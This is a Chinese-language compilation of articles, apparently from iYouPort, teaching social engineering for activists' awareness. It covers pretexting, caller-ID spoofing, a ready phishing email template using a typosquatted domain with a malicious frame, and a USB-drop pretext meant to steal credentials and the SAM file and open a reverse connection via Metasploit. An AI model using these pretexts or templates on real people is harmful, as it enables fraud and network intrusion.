如果您已经成为政治异议、人权活动家、社会边缘群体、拥有或没有宗教信仰（这取决于不同的国家）、性认同少数群体，或者您只是被欠薪的打工族、被洗脑教育虐到发疯的学生…… 甚至您只是希望做一点正义的事，您都应该确信自己已经成为了攻击的重点目标。

我们一直在强调数字监视的无处不在，这是确实的，但是直到目前为止 — 并且完全可以确信在未来足够长的一段时间内 — 当权者依旧会钟情于使用人力的盯防，也就是前面举出的警察卧底。对于中国来说，这段时间只会更长。

于是，您完全有必要警惕身份伪装者的入侵，他们有可能就存在于你我的身边，以你我的“朋友”的身份存在于我们身边的人 — — 千万不要误会！我绝不是说鼓励您去质疑身边的朋友！绝对不是，而是希望

您可以清楚地分辨恶意和善意。这是保护自己、自己的家人、自己的同伴和合作者的最佳方案。

本文主要介绍伪装的技巧 — — 即 那些渗透进反抗组织内部、异议人士身边的恶意监视者使用的方法，也是任何希望做正义的事的人免不了要使用的技巧。本文主要希望能帮您鉴别伪装者，如果您确定自己的目的正义，您可以决定如何使用这些技巧。

伪装 — — 社交工程学的关键基础设施

什么是伪装？有人认为它只是社交工程过程中编造的故事或者谎言，不不，没这么简单，这是非常狭义的理解。

准确的定义应该是：以背景故事、衣着、仪表、个性和态度来塑造的角色，以完成社交工程审计工作。伪装包括你所能想到的基于对象角色的方方面面。作为社交工程师，你伪装得越全面就越令人信服。一般情况下，伪装得越简单，说明技术越娴熟。

伪装，尤其是自互联网出现以来，越来越多地被恶意利用。见下面两个真实的故事：

- 延伸阅读：《在 Facebook 上伪装朋友，骗取你的私密信息》
- 《警方伪装美联社记者钓鱼》

曾经一件很有名的T恤，上面写着："互联网上，男人是男人，女人是男人，小孩子是等着抓你的 FBI 间谍"。虽然这句话有调侃的意味，但是，事实上的确如此 — — 尤其是当我们在强调匿名安全的时候，如何分辨一个人究竟是不是他/她所声称的人，几乎是性命攸关的技能。

在互联网上，伪装技术在很多年来一直被用于黑客篡取利益，被警方和政府间谍用来抓捕诱惑他们想要的任何人。但是伪装的钓鱼方法完全不限于互联网上。

在社交工程学攻击中，角色扮演或者假扮别人以达到目的，很多时候是非常必要的。世界著名的社交工程学专家 Chris Nickerson 曾经聊到了这个话题，他指出了一些要害观点。

Nickerson 说，伪装不是在扮演某个角色，或者演出某个剧情，不是让你撒谎然后不断地圆谎，而是，要你真正成为那个人。你的一丝一毫都是生活在那个人的身体内，你的走路方式、说话方式、肢体语言，与那个人一模一样。这就是关于伪装的最根本哲学。

许多人认为伪装只是乔装打扮。衣着的确能起到作用，但是，伪装这个概念本身是一门学问，作为实践者你的目的应该是完全变成另一个人。

要实现这点，社交工程人员必须明确到底什么是伪装，以作出计划，实现完美的伪装，只有这样才可以成功。下面我们详细说明它。

1、什么是伪装？

伪装的定义是创造虚构的场景，以劝服目标受害者泄漏信息，或者作出某种行为。这绝不是仅仅说谎这么简单，很多时候它要求创造一个全新的身份，然后利用这个身份去获取信息。这是那些监视异议活动家的政府间谍最擅长的东西。

伪装没有固定的万能模式，社交工程人员必须在不同的计划中伪装成完全不同的人。所有的伪装都有一个共同的特点，那就是：精细地研究。即：我们曾经在 OSINT 技巧介绍中，信息收集，和分析。这就是为什么将社交工程学、OSINT 和道德黑客，放在一起作为行动力。

伪装不仅可用于社交工程中，也能在很多生活领域发挥作用。销售人员、公共演讲者、算命师傅、神经语言程序学专家、甚至是医生、律师、以及临床医学专家等，都需要一定形式的伪装，都需要创造一个适宜人们泄漏隐私信息的场景。

社交工程人员和其他伪装使用者的差异在于：目标的设定。社交工程人员必须完全变身为伪装的角色，而不仅仅是装腔作势。

只要审计和社交工程没有结束，伪装就不能结束。很多人在退出伪装身份后很久还沉浸在原来的身份中，这说明伪装工作很到位。不过，很多专业伪装人员经常要使用多个在线身份、社交网络身份、电子邮件和其他账户，他们需要随时记得自己当前正处在哪个角色中。

电视台主持人是很擅长伪装的，因为他们只能透露适合发布给公众的信息。著名主持人 Tom Mischke 在这方面很在行，绝大多数观众都会自以为“了解”他，就连他的朋友也误会自己“了解”的是他本人。事实上他们只是了解了 Tom 的伪装身份。

他是如何做到这点的？

答案就是：不断的练习。Tom 给自己安排了很多练习，对于伪装身份的站姿、说话的语气、口音、衣着、兴趣爱好……精准地掌握。就如我们曾经在 #社交工程学 攻防技巧的诸多文章中所强调的那样，最好

的也是唯一的办法就是不断地练习。这一点非常重要。

2、伪装的原则和计划阶段

像其他技术一样，伪装也有一定的原则可以遵循。下面列出了一些原则。当然这些不是全部，还可以继续添加，而这些是最为基础的，可以体现出伪装的本质：

- 调查越充分，成功的几率就越大；
- 植入个人爱好会提高成功率；
- 练习方言，或者特定的表达方式；
- 很多时候，切勿低估电话的作用，即便是在互联网时代，电话依旧非常高效；
- 伪装得越简单，成功率就越高；
- 伪装必须要自然；
- 要为目标提供逻辑结论或下一步的安排。

下面具体讨论每一条原则。（这里有一个视频，CIA前局长对伪装的分析）

2.1 调查越充分，成功几率越大

这是不言自明的，但依旧值得多次强调。这是社交工程学的关键。

社交工程人员掌握的信息越多实现有效伪装的机会就越大。

很多时候你能感觉到，细节决定成败。请记住：没有任何信息是“不相关”的。收集信息时要注重寻找故事、物品和个人特点，利用目标人物的性格或者情感依托，可以让你离成功更近一步。对于伪装者来说，目标才是唯一重要的事，此外一切都是为目标的积累。换句话说，他们可以做到不惜一切，可以无情无义。

恶意的社交工程人员可以不假思索地利用人们的同情心进行欺诈。911之后很多恶意攻击者利用伤亡人员为自己牟利，他们设立网站，发送邮件给目标人，并成立虚假的基金，利用人们的慈善之心骗钱。这种状况在中国应该不是新奇的。2010年的海地地震后也是这样，很多恶意的社交工程人员建立钓鱼网站，假装发布地震活动和失踪人员的信息，而这些站点利用恶意代码导致访问者的电脑被感染，进而被操控。

- 延伸阅读：利用热点信息是最常见的攻击方式，见这篇报道《不要相信你最关心的消息!!》

搜索引擎优化和市场营销专家可以在几个小时内让恶意内容处于搜索功能的首页位置。提升搜索排名并不是什么高难技术，百度那种虚假广告占据首页的状况，其实一点都不奇怪。想在谷歌中排名前位吗？你只需要请一位社交工程师，他们一般都深悟市场营销伎俩。

2.2 植入个人爱好，提高成功率

通过个人爱好提高社交工程的成功率听起来很天真，但是有助于让目标信服你。

不过请注意，如果你在一开始声称自己很擅长某方面，但随着时间推移显示出你并不擅长，那么这绝对是毁掉信任最快速的方式了。作为一名社交工程人员，如果你从没见过服务器机房，没有亲手拆过电脑，那么就千万不要伪装成技术人士，绝对会失败。

伪装中加入自己感兴趣的话题和活动，从而能侃侃而谈，这会让你显得聪明而自信。

自信有助于说服目标你就是你宣称的那个人。你的伪装身份必须有更多的知识保证，以令人信服。其实不是很难，有些时候你只需要通读几本书就够用。

对于社交工程人员来说，获取知识、研究感兴趣的话题，这是非常重要的。在伪装时，你可以聊故事、观点和工作，也可以聊你很了解的某种兴趣爱好，或者一些谈起来很舒服的话题，这样都能奏效。如果你像在互联网上那样只为了证明自己的“是对的”，肯定做不成社交工程工作。

Stevens 博士曾经的警告依旧非常重要：“记住，你的自信心始终与任务和自身处境密切相关。不同情况下，我们的自信心是不一样的”。这句话很关键 — — 因为自信心直接跟别人如何看待你这个人有很大关系。自信 — 而不是自傲 — 可以更容易建立信任和默契，而且可以让人感觉放松。尽量让目标谈论你感觉舒服的话题，然后你就可以自信地发挥了。这很重要哦。

1957年，Leon Feastinger 提出了认知失调理论。该理论认为，人们倾向于协调自己的信仰、观点、乃至几乎所有的认知。如果态度和行为之间存在不协调，那就必须要修正这种不协调。Feastinger 博士提出有两个因素会影响这种不协调的强度：

- 不协调的信念的数量；

- 每个信念的重要性。

随后他提出了三种可以消除这种不协调的方法 — — 每一位希望使用社交工程技术的人都应该高度重视以下这三点：

- 降低不协调信念的重要性；
- 增加更多的协调信念以超过那些不协调的信念；
- 改变那些不协调的信念以使它们协调。

这些真的非常重要！如何利用这些提示？当伪装的角色需要你表现自信的时候，如果你不够自信，就会不协调。这些不协调会引发各种红色警告，给你们之间的默契、互信和下一步进展带来巨大的阻碍。会直接导致你失败。

记住，你只有一次失败机会。第一次出错就是最后一次出错。

避免这种悲剧收尾的最好办法就是，加入更多的协调信念以使其数量超过那些不协调的。想想看，目标对你的伪装期待是什么？了解这些可以让你的行动、谈吐、和态度等方面更好地迎合目标人物的思维和情感，从而在你们之间构建起信念系统，让对方忽略掉那些值得怀疑的东西 — — 渗透入反抗组织内部的当局线人非常擅长这些操作。

一个技术娴熟的社交工程人员同样可以将不协调的信念变成协调的。虽然这很棘手，但是，这项强大的技巧非常值得拥有。也有可能你的伪装和目标的构想不一致。你可以回想一下《Doogie Howser, M.D》，豪斯医生很年轻，这和角色设定的顶级医生似乎不相符，这是一个不协调的信念，但是，他的知识和行为又可以让“目标”觉得那是协调的。社交工程人员完全可以通过观点、行动、尤其是知识，让他的伪装和目标的认知达成一致。

伪装的方法有很多，成功的关键在于：明智地选择适合你的那一种。

2.3 练习方言和表达方式

我的一位老师是方言专家，他最大的魅力就是，不论任何人，只要报出自己的家乡，他立刻就能使用当地的方言和对方寒暄。

这的确是一种非凡的魅力。如果你试过就会知道，绝大多数时候对方会立刻喜欢上你。如果你是社交工程人员，熟练掌握方言就能够帮助你更快速地和目标人建立互信关系。

这也许需要花费很多精力，但是如果能学好，它将非常有帮助。如果

学不好也没关系，那就使用你最擅长的语言，努力让你的语言富有魅力，可以达到一样的结果。

当然，作为社交工程人员，你最好能掌握至少一种方言。

2.4 使用电话不会减少社交工程人员投入的精力

最近几年，互联网开始主导某些“不需要面对面交流”的社交工程活动，就像美国警察在 Facebook 上伪装身份钓鱼黑人活动家所做的那样。然而在过去，电话是社交工程中最不可或缺的一部分。由于互联网的出现，很多社交工程人员开始不注重电话的强大能力了，这其实是一种失败。

这里想说的是，电话依然是一种强大的社交工程利器，不该因为互联网的非人格化性质而减少对它的使用。

很多时候，社交工程人员在策划电话攻击时的想法会有所不同，因为利用互联网看起来更简单一些。但是要记住，使用电话进行社交工程时需要投入同等的精力、同等深度的研究和信息搜集，最重要的是同等水平的练习。

你必须研究一种最佳的模式，从语速到语调到音调，以及措辞，要让所有的细节都为了你的目的服务。要时刻记住你就是你伪装的那个人，而不是你在伪装 — — 这很重要。除非是精神病患者，我们每个人在撒谎的时候都会不由自主地紧张，而当你深信自己就是自己的角色时，这种紧张感就能消失，否则会导致你失败。

这里也要强调合作的重要性。你最好能和一个小组协作练习，他人能比我们自己更容易观察到我们自己哪里出错，哪里不协调，更容易指出我们的纰漏。并且你应该有一个尽可能完善的剧本大纲，让自己深深融入这个大纲之中，把自己变成主角。

是剧本大纲，而不是剧本，这非常关键，它应该在全部细节上都满足于你的目标，还要尽可能推测到对方的不同反应，为每一种反应想到理想的回应方式。设想这样一种场景：你不得不打电话给一家公司或一个机构，因为他们搞错了一个订单，或者服务有问题。你非常生气，打电话就是为了抱怨的。当你和客服解释了之后，不管你有多失望，客服都没有为你提供任何帮助，她只是在说：“本公司承诺提供最好的服务，请问还有什么需要帮助的吗？”……你会知道这有多傻，对吧。这就是由于该客服只有剧本，而不是大纲的结果 — — 它是死板的，而灵活性必须是社交工程的要素。

使用电话提高伪装的可信度，是得到目标认可的最快捷方法之一。电话允许社交工程人员去哄骗或者假冒任何事。

比如这样的例子。我现在需要假设自己正在一个忙碌的办公室里给你打电话，我如何才能制造出“忙碌办公室”的虚假氛围？很简单，去录制一个音频，放在电话旁，你需要作出身处忙碌办公室的人特有的快语速，配合背景音，效果会非常逼真。

伪造电话号码欺骗要相对容易一些。像 www.spoofcard.com 等服务或者自制一些办法，都可以帮助社交工程人员改变来电显示的号码，对方会认为你就是从某个声称的公司内部、白宫、CIA、警察局、或者当地银行打来的电话。

— — 未完待续 — —

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

对话是门技术活：擅长对话的攻击者能操纵你做任何事 - iYouPort

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

想要操纵你的人总有办法赢得你的信任。如何引诱他人达成你想要的目的？为什么有些骗子只是个笑话，而另一些能偷走你的灵魂？ 骗局最容易露馅的bug在哪？如何实施完美的攻击？社交工程学正在被全球当权者运用来攻击老百姓，他们都非常专业，如何才能在这种最危险的环境中保护自己？...

为什么他说话就好用，我说话就没有听？有些时候您可能会有类似的感受，其原因很可能与交流技巧有关。但本文的目的不是想帮您搞好人际关系，而是关于交流技巧的另一种邪恶用途：当今世界被使用最为广泛的攻击形式—网络钓鱼攻击。即 关于：为什么有些骗子只能是笑柄，而另一些骗子能偷走你的灵魂。

今天我们就来说说这事。

什么是交流

这可不是句废话，很多对话存在问题的状况都与不能完全理解交流本身有关。

表面上看起来交流就是将信息从一个实体传送到另一个实体的过程。于是交流需要的是至少两者之间的互动，它可以视为一个双向的过程，在这里发生信息交换、思维碰撞、情感互动，或者想法上的共识。在社交媒体上张贴内容不是交流，给他人发布的内容做评论也不是交流，交流必需是双向的、是一个过程。

这个过程是这样的：信息经过打包，由发送者通过媒介传输给接收者，接收者解密该信息，并将反馈发回发送者。于是，所有的交流都需要有三个必要条件：发送者、信息和接受者。

领会交流的原理是对社交工程师来说最重要的能力—— 构建一个高效的交流模型将令社交工程攻击事半功倍。

交流可以有多种不同的形式，听觉形式如演讲、歌曲、说话时的音调调整；非口头方式如肢体语言、手势、辅助叹词和尾音、触摸和眼神碰撞。

不论你使用的是哪种方式，对于接收者来说，信息的内容和传达的方式都必需有确切的效果。

要义

有很多种最常见的交流失败都是由于没能领会到交流的要义，人们会误以为“我说的很明白的，你应该能知道我的意思”。不，完全不是这样。

不同的人对事情的感知、体验和阐释总是会有差异的，也正因此，人们对同一件事有可能具有完全不同的看法。一起长大具有相同经历的人会怎么样？事实上也一样。如果你有兄弟姐妹就可以做个测试，你会发现对于一个情感事件来说，他们有着与你完全不同的阐释甚至对细节的记忆。

每个人都有着身体和精神的私密空间，很多因素会影响你决定是否允许他人靠近或进入这个空间。无论在何种场合，一个有效的交流就是：你在尝试闯入他人的私密空间；有效的沟通就是将所有的参与者带入彼此的精神空间。社交工程人员的交流就是尝试将目标人带入其空间，从而了解目标人的状况。

不必惊讶，只要存在互动就会发生这种带入，正是因为它太普遍了，一般人不会注意到这点。

对社交工程人员来说，获得有效的交流意味着你能操控目标人的行为和认知。根据交流的要义，必需知道的是，不是你说出的任何话都能产生预期的效果。

接收者收到信息的同时就会去阐释它。有很多因素会影响最终被阐释出来的结果，比如情绪的好坏、经历的环境等等，包括一切其他形式的暗示。

社交工程人员的目的就是，充分利用这些语言或非语言的暗示，以改变目标人的感知，从而达到你最想要达到的效果。

这里是一些基本的交流规则：

- 不要理所当然地认为接收者和你的情况完全一样；
- 不要理所当然地认为接收者会按照你的想法去阐释信息；
- 交流不是一个绝对的、一成不变的事；
- 如果有多人参与交流，应该始终假设每个人的情况都各不相同。

深刻领会这些规则能帮你极大程度上提高与他人交流的效率。尤其需要指出的是，一个优秀的交流模型将在此起到决定性作用。

那么这和社交工程有什么关系呢？

交流模型及其根源

如前所述，交流的基本含义就是发送一个信息包给既定的接收者。这些信息也许来自多个信息源，如听觉、视觉、触觉、味觉和文字语言。这个信息包随后会被接收者处理，目的是阐释“对方的意思”。这个评估方法就是“通信过程”。通信过程最早由社会科学家 Claude Shannon 和 Warren Weaver 简要说明，当时他们发明了**“Shannon-Weaver 模型”**，它是交流的鼻祖模型。

该模型包含：信息源、信息、发送器、信号、信道、噪音、接收器、信息目的地、误差概率、编码、解码、信息率、和信道容量等概念。大概如下图所示：

「图」

「图」

在这个很简单的模型中，通信这一基本概念只是将通信视为发送和接收信息的一种方式。该模型的优势在于简单、通用和可量化。

该模型的基础如下：

- 一个创造信息的信息源；
- 一个把信息编码为信号的发送方；
- 一个适合传送信息的信道；
- 一个从信号中解码（重构）信息的接收方；
- 一个信息发送的目的地

通过这一理论，他们总结出通信中存在的三个层面的问题：

- 技术问题—— 信息传送的准确性如何？
- 语义问题—— 信息表达的精确性如何？
- 效率问题—— 接收到信息对行为影响的有效性如何？

最后这点对社交工程来说尤其重要，必须被牢记。因为社交工程的目的就是创造出一个自己想要的行为。

差不多15年后，David Berlo 扩充了上述这个线性通信模型，发明了“发送者-信道-接收者”的 SMCR 通信模型。SMCR 将模型分解成几个清晰的部分，如下图所示：

「图」

「图」

可以认为通信是信息传播的过程，该过程由三层规则控制：

- 符号和标识的形式属性；
- 符号／表情及其使用者之间的关系；
- 符号和标识之间的联系及其含义

2008年，另一位研究员 D.C. Balmund 将自己的研究与行业先驱们的成果结合起来了，形成了通信的事务模型：信道和信息可以有多种模式；信息本身可以有多种形式；接收方可以为一人或一群人；反馈也可以是多种形式的。

这些知识和经验有助于社交工程人员制定出一个稳健的通信／交流模型。不仅是社交工程人员，每个人都可以从中获益，令你的社会生活更加高效和充满乐趣。

制定交流模型

基于本文的目的，下面我们仅从社交工程角度来看待这些要素：

- 信息源：社交工程人员就是要传递信息的源
- 信道：就是传达方式
- 信息：传达的内容
- 反馈：你希望对方做出的反应

如何有效地使用这些要素？

第一步就是带着目的动手实践。首先从社交工程攻击的经典剧情开

始……

- 编写一个钓鱼邮件，尝试让25～50个雇员在工作时间访问一个嵌入了恶意代码的非商业网站，以达成入侵其公司网络的目的。
- 登门拜访，伪装成前来面试的求职者，假装不小心将饮料洒在了简历上，并说服前台工作人员允许你使用USB存储器插入电脑重新打印一份简历。

在制定交流策略时你会发现，反向使用模型是大有裨益的。

反馈—— 你期望得到什么样的回应？在这里它就是：接收到邮件的大部分员工都会打开它，这是最理想状况，当然，如果只有少数人点击你也能会感到高兴。但你的目的应该是大多数人都能上当。

接收方—— 这就是信息收集派上用场的关键地方。我们曾经介绍过很多信息收集的工具和思考方式，您可以在前面的文章中找到它们。不论是开源调查、社交工程、还是信息验证，收集都是最重要的一步。对于社交工程攻击来说，攻击者需要事先对目标有一个系统的了解，他或他们最喜欢什么？大多数是男性还是女性？他们是当地俱乐部的成员吗？他们是否年轻或者处于哪个年龄段？等等，这些问题的答案将有助于攻击者决定传达什么类型的信息。

信息—— 如果目标人主要是25～30岁的男性，并且有几个人是足球或篮球联赛的球迷，那么目标人就可能会点击运动、女人、或者赛事相关的链接；如果目标人是35～45岁的男女，并且其中大多数人都公开表达过政治异议，其社交媒体信息显示他们喜欢对时政问题发表自己的意见，那么他们最有可能点击伪装成政治热点内容的信息，尤其是能激发他们的愤怒或恐惧的信息，等等。

这是基本规律，当然细节方面需要非常考究。尤其要注意钓鱼邮件的内容细节，重点考虑语法、拼写和标点的正规化，根据以往的经验，这些细节的不规范是钓鱼露馅的主要原因之一。

如果收到的邮件内容是，“点击这里，输入你的密码来验证你的账户设定”，那么内容不正规就是致命的问题。邮件必须能吸引目标人的注意力，即使目的相同，根据目标的性别、年龄或其他各种因素，内容也会有变化。

信道—— 这个就很简单了，在本例子中，信道就是邮件。

信息源—— 同样很简单，作为攻击者，你自己就是信息源，你的可信度取决于你在社交工程学方面的技术水平。

下面来实验两个攻击场景。

「图」

「图」

场景一：网络钓鱼邮件

目标人是 45 名 25 ~ 45 岁的男性，其中有 24 人是梦幻篮球联赛的球迷，他们几乎每天都会访问 www.myfantasybasketballleague.com 来进行投票。这些信息是攻击者通过论坛上的投票证实的。

现在您的目的是要他们去访问一个归你所有的、且可访问的网站：www.myfantasybasketballeague.com，该网址和目标人经常访问的网站只有一个字母之差，稍不留神就会看走眼。这两个网站最大的不同点就是，后者内嵌入了恶意帧。

网页中间会有个登录按钮，点击之后会返回真正的网站。而在点击和加载之间的延时，嵌入的恶意代码就能入侵他们的系统了。

没错，受害人不会发觉哪里不同。

现在的最重要任务就是吸引目标人去点击这个链接。那么该如何写这封邮件呢？

下面是一个范本：

> 你好！
>
> 这里是来自“我的梦幻篮球联赛”的好消息！我们新增了一些功能，用户能够在投票时拥有更多的控制权，此外还有一些特殊的功能。我们正在努力将这些功能提供给所有会员，但是需要增收部分服务费。
>
> 我们很高兴地告诉你，前 *100* 名登录的会员可以免费享受这项全新的服务。点击邮件中的链接到我们的活动页面，然后登录即可将这些功能添加到您的账户中，网址：// www.myfantasybasketballeague.com//

谢谢！

我的梦幻篮球联赛团队

这封邮件至少能使目标群体内 24 名球迷感兴趣，吸引他们去“抢占前100的免费”。

我们来分析下这封邮件。首先，它有一个吸引现有会员的邀请；然后，他们中很多人会意识到这个邀请只限定给前 100 名，所以很多人会立刻点击，而且很可能是在工作时间；邮件附加链接中有恶意代码，虽然大部分人会成为受害者，但只要有一个人上当，攻击的目的就达到了。

原则：一个诱人的勾子需要足够的诱惑力，一封完美的钓鱼邮件的基础是坚实的交流模型。

这只是一个非常简单的例子，基于本文的主题。对于网络钓鱼攻击来说，它可以非常复杂和巧妙，我们今后还会单独篇幅讲述这个问题——因为目前社交工程学已经被很多国家的政府和情报机构用来针对异议人士、活动家、反对党和少数族裔，这些当权者购买了最先进的间谍软件，全部要点就在于诱惑目标人的一个点击。

场景二：**USB** 存储

第一个场景是在线攻击，第二个场景就是现场攻击。

现场攻击的难度会比较大，因为是面对面的，你必须能非常好地伪装自己（关于伪装的技巧今后细说）；而且你必须记住所有细节，这是任何撒谎中最难的一点，因为现场没有任何机会让你重来一遍，你只有一次机会，如果搞砸了，那么直接回家吧。

「图」

「图」

下面我们根据模型分头介绍这种现场攻击。

」 反馈—— 这个场景的目的是让目标公司的前台接受你的带有恶意程序的 U 盘。当U盘插入电脑后，该程序会自动加载并提取系统中所有与账户相关的信息，比如用户名、密码、电子邮件、以及包含系统中所有账户密码的 SAM 文件等。然后将这些数据复制到U盘指定的目录下。

同时，从前台的机器创建一个反向连接到你的服务器，从而获得该机器甚至整个公司网络的访问权限，我们介绍过 **Metasploit Framework** 或者能与 **Metasploit** 搭配使用的社交工程工具。Metasploit 可以在受害者主机上执行破坏性代码，并且有一个内置的 Meterpreter 处理工具。使用者可以通过编写脚本完成很多工作，包括键盘记录、屏幕截图、以及获取受害人电脑的信息等。

」 接收方—— 有一个特定的攻击对象会让你感觉棘手，因为如果目标没有接受你传递的信息，你的计划就彻底没戏了。你必须热情、友善、且具有一定的说服力。建立信任的过程也必须很迅速，因为时间太长的话会引起目标人的疑心。但是如果太快了也不行，会引起焦虑和担心，那样你也会失去机会。所以必须能找到一个完美的平衡点。

」 信息—— 因为你现在是面对面地传递信息，所以必须简洁明了。故事的基本内容如下：你在网站上看到了关于招聘数据库管理员的广告，然后你打电话给人力资源部门，对方说让你先把简历送过来。你开车过去的时候，一条狗忽然跑了出来，导致你急刹车，饮料洒了出来，弄湿了你的简历和其他物品。同时你还有另外一个约会，但是你很需要这份工作，于是希望前台能允许你使用U盘重新打印一封简历。

」 信道—— 面对面的攻击就是口头交流、运用声音、面部表情和肢体语言。

」 信息源—— 再强调一次，作为社交工程人员，你自己就是信息源。除非你觉得拟定的剧本中有必要找一个替身。

手上拎着湿漉漉的文件夹，最好裤子也是湿的，会使故事更逼真；沮丧的表情很有帮助；说话的时候要有礼貌，而且要真诚，以博取对方的同情。前台大多时候是女性，如果您是男性且高大帅气，还能加分。

U盘里需要有能够打印的 myresume.doc 文件, 或者 myresume.pdf。PDF 是最常用的格式，很多公司还在运行较老版本的 AdobeReader。关键是确保简历不是什么特殊的格式，要让绝大多数人都能打开。

大多数人都有同情心，尤其是前台工作人员，他们站在那个位置会自动给自己一种代表企业形象的亲合力。所以只要攻击者用点心，基本就能成功。只要对方将你的U盘插入电脑，你就能控制整个公司的网络了。

总结—— 交流模型的理念

交流模型是一种强大的工具，每个社交工程人员都必须掌握的基本功。交流模型中最困难的部分就是要确保收集到的信息都是可靠的。请关注我们提供的强大的信息收集工具箱。

要设定准确的目标，但不要怀有恶意，要真诚，你的心态是真诚的，非语言信息就会自然传达给对方一种可信的印象。将五个要素写下来，模拟在具有书面计划的情况下交流的情形会如何。你会发现，优秀的剧本能帮你更顺利达成目的。

交流模型能引出许多有价值的信息，是社交工程人员的基本工具；只会收集信息而不会巧妙地运用信息，也是白搭；作为一名优秀的信息收集大师，你需要与交流模型完美结合，才能真正获得成功。

如今上当的人那么多，操纵他人也许看起来很容易？但实际上里面大有学问。您或许曾经躲过了一些业余骗子的滋扰，但是没有任何人能确保您遇不到专业骗子。来自政府情报部门的攻击者都是非常专业的。如何获取能应对专业社交工程攻击的能力？您必须像一个专业社交工程师那样去思考。

原文

影响与操控不是一码事：如何将另一个人变成你想要的样子？ - iYouPort

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

别死在笑眯眯的恶棍手中

先说说我们在安全协作方面发生的问题（虽然这不是本文主题，但是密切相关）。中国的社区间协作经常被评为能力差，技术社区难以与活动家和反对派社区直接对口，以至于直到后者遭遇攻击前者才会发觉。这是严重失利的。

安全协助的基本目标应该是防患于未然而不是亡羊补牢。渗透测试是最重要的一个步骤。但这个步骤中经常会搞得不欢而散，大部分时候主要源于协助者搞错了两个概念之间的区别。

「图」

「图」

“影响”和“操控”这两个概念经常会被交替使用，尤其是讨论社交工程的时候，使用这两个概念最为频繁。

对于所有目的和意图来说，它们是决策的催化剂；就如我们每个人所发现的，人们做事有很多缘由，但是优秀的社交工程师对此足够了解，就可以*引导*人们作出决策 —— 不论是善意的还是恶意的。

事实上影响（influence）和操控（manipulation）不完全是一回事。影响指的是：让某人像你所希望的那样行动、反应、思考或者信任。操控和影响类似，但它主要用于不怀好意的情况，几乎总是符合操控者的最佳利益。

它俩真的不是一码事。想想看，你也许听说过某人产生了“坏的影响”，但是你听说过“好的操控”这种表述吗？尽管，有些时候两者会导致某种看起来相同的决策、行为或者其他结果，但是，两者得到结果的方式以及目标的感觉是完全不同的。

对方的感觉非常重要，这意味着你的目的能否真正实现。

在这个层面上我认为，影响和操控可以分属于两个极端。影响显然是积极的；而操控则是消极的。二者之间的确有很多难以界定的情况，因为很多交互既有积极的方面也有消极的方面。无疑，影响制造了紧张情绪，或者说是行动的必要，否则人们就没有改变行动的动机。因此，只需要知道，影响和操控之间的界限并不是一个点，而是很大的一片灰色区域，并且通常因个人解读的不同而有所差异。

这就是为什么把*指导*归为影响，把*威胁*归为操控。但必须了解两者之间的大面积灰色区域，这完全取决于社交工程师所做的选择。

比如，请求帮助。看起来普通，但它可以是一种强有力的影响形式，也可以是一种高明的操控伎俩。

这种区别非常重要，我们下面说说为什么它很重要。

为什么这种区别很重要？

权利倡导者和活动家经常需要帮助易受侵害的社区和群体辅导安全知识，尤其是渗透测试服务，非常重要。但这项工作有可能带来不良后果，这取决于人们对影响和操控这两个概念之区别的理解。

看下图，这是一封钓鱼邮件，来自渗透测试人员而不是真正的威胁者，当收件人试图跟进时就会收到更多的威胁和恐吓。其实它也是FBI报告过的一个真实的电子邮件诈骗事件[Federal Bureau of Investigation, “Online Extortion: E-Mail Scam Includes Hit-Man Threat,” FBI News Stories, January 15, 2007]

「图」

「图」

毫无疑问，当人们发现自己采取的行动居然是社交工程人员施加影响的结果时，难免会感到尴尬或生气。但是如果人们认为自己由于恐惧、愤怒或者惭愧而被迫采取了某项行动，那么对于权利倡导者和活动家来说，情况可能变得更糟或者更难对付。

这种环境并不利于学习。促进学习才是渗透测试的目标。可以想像，对于一位想要为组织作出贡献的成员来说，这是多么沉重的打击。

这就是有必要强调影响和操控之间的区别的原因之一。强调这一区别不是在强调倡导者和活动家有多善良友好，而是他们的工作目标，即安全协助本身，只有准确掌握这其中的区别才能令社区间此类协作步入正轨。

如何找出区别？

区分影响和操控是非常有意义的，我们首先承认了其中的灰色区域面积之大、复杂性和微妙性，因此以下部分将探讨一些问题。当你准备好进行社交工程渗透测试训练的时候，要先问自己这些问题。

如何与目标建立融洽的关系？——

很多资料里对“融洽的关系（rapport）”的定义特别复杂。当然它很容易理解和辨别，但是要想用文字描述它就有点难度了。它大致上是指和另一个人建立关系，其中包括互相喜欢以及相处感到舒适等要素。

请注意到：这里面并没有善恶之分。⚠融洽关系是社交工程攻击为了提高效率而必须快速培养的技能。融洽关系是施加影响的一个必要条件。当你建立了融洽关系后，人们就会答应你的请求，因为他们喜欢你，他们感知到了你们彼此间的关系，于是想要帮助你。这个时候你的机会才真的来了。

但是对利用操控的人来说，建立融洽关系是不太可能的，当然也不是必要的。一个想要威胁别人的人很可能并不在乎与目标建立某种联系。

实际上操控者与目标之间的联系越好越好。坦白说，对大多数人而言，对一个与他们有私交的人运用操控手段是很困难的。

当目标发现自己被测试时感觉如何？——

你点击了我的钓鱼邮件，你感觉怎么样？

如上所述，如果感到尴尬甚至愤怒，仍然可以达到预期的教育效果。你已经把挑战置于目标面前，然而他们的表现令你失望，而这可能最终导致他们和他们的组织面临威胁。

但是，如果你后续提供一系列为了下一次的成功所需的信息，那么就可以创造出一个基于学习的环境。

作为协助者，你的目标应该是随着时间推移构建出一种组织文化，成员不会因为中招而感到尴尬，而是期待下一次培训的到来。你将见证你们的成功。

相反，如果你提供一些方法激起恐惧、愤怒、惭愧或者无助的感受，使人们服从，那么随之而来的抗议洪流极有可能让你错失教育机会。

⚠人们只会记得你给他们带来的感受，而不是经验教训。

不仅渗透测试，这点在很多社会工作方面都是有效的。在中国我们发现了很多权利倡导者和活动家在主张他们的观点和分发知识的过程中出现了上述问题，以至于反而推动了目标群体的虚无和消极抵抗。

你的意图究竟是什么？——

我指的是你的个人意图和个人需求。你真的关心你提供的协助和知识对目标社区和组织来说的学习和提示价值吗？还是仅仅想要一个赢家/智者的感觉，因为你把其他人都玩成傻逼了？

这是一个需要自问的问题。我们大多数人都喜欢获胜的感觉，喜欢自己比其他人看起来更聪明机智，而有时候社交工程协议可以让人感觉像一场游戏。

别误会，享受获胜的感觉和你服务的价值之间并非只能取其一。你可以在享受获胜感的同时很好地服务于目标群体/组织。

